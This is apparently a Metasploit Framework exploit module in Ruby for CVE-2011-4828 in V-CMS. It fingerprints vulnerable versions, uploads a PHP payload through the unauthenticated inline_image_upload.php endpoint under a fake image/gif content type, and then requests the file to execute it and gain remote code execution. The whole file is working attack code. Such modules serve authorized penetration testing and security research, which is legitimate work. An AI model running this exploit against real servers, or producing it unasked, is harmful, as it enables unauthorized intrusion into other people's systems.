##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::PhpEXE

	def initialize(info={})
		super(update_info(info,
			'Name'           => "V-CMS PHP File Upload and Execute",
			'Description'    => %q{
					This module exploits a vulnerability found on V-CMS's inline image upload feature.
				The problem is due to the inline_image_upload.php file not checking the file type
				before saving it on the web server. This allows any malicious user to upload a
				script (such as PHP) without authentication, and then execute it with a GET request.

					The issue is fixed in 1.1 by checking the extension name.  By default, 1.1 only
				allows jpg, jpeg, png, gif, bmp, but it is still possible to upload a PHP file as
				one of those extension names, which may still be leveraged in an attack.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'AutoSec Tools',  # Initial discovery
					'sinn3r'          # Metasploit
				],
			'References'     =>
				[
					['CVE', '2011-4828'],
					['OSVDB', '77183'],
					['BID', '50706'],
					['URL', 'http://bugs.v-cms.org/view.php?id=53'],
					['URL', 'http://xforce.iss.net/xforce/xfdb/71358']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00",
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        =>
				[
					[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
					[ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Nov 27 2011",  #When the ticket was created
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('TARGETURI', [true, 'The URI path to vcms', '/vcms/'])
				], self.class)
	end

	def check
		uri = normalize_uri(target_uri.path)
		uri << '/' if uri[-1,1] != '/'
		res = send_request_raw({
			'uri'   => uri,
			'method' => 'GET'
		})

		if res and res.body =~ /V\-CMS v1\.[0-1]/
			return Exploit::CheckCode::Appears
		else
			return Exploit::CheckCode::Safe
		end
	end

	def exploit
		peer = "#{rhost}:#{rport}"

		base = target_uri.path
		base << '/' if base[-1,1] != '/'

		@payload_name = "#{rand_text_alpha(5)}.php"
		p = get_write_exec_payload(:unlink_self=>true)

		post_data = "------x\r\n"
		post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"
		post_data << "Content-Type: image/gif\r\n"
		post_data << "\r\n"
		post_data << p + "\r\n"
		post_data << "------x--\r\n"

		print_status("#{peer} Uploading payload: #{@payload_name}")
		res = send_request_cgi({
			'uri'    => normalize_uri(base, 'includes/inline_image_upload.php'),
			'method' => 'POST',
			'ctype'  => 'multipart/form-data; boundary=----x',
			'data'   => post_data
		})

		if res
			print_status("#{peer} replies status: #{res.code.to_s}")
		else
			print_error("#{peer} No response from server. Will not continue")
			return
		end

		print_status("#{peer} Executing payload: #{@payload_name}")
		res = send_request_raw({
			'uri'    => "#{base}temp/#{@payload_name}",
			'method' => 'GET'
		})

		if res and res.code == 404
			print_error("#{peer} 404 - the upload probably failed")
			return
		end

		handler
	end
end
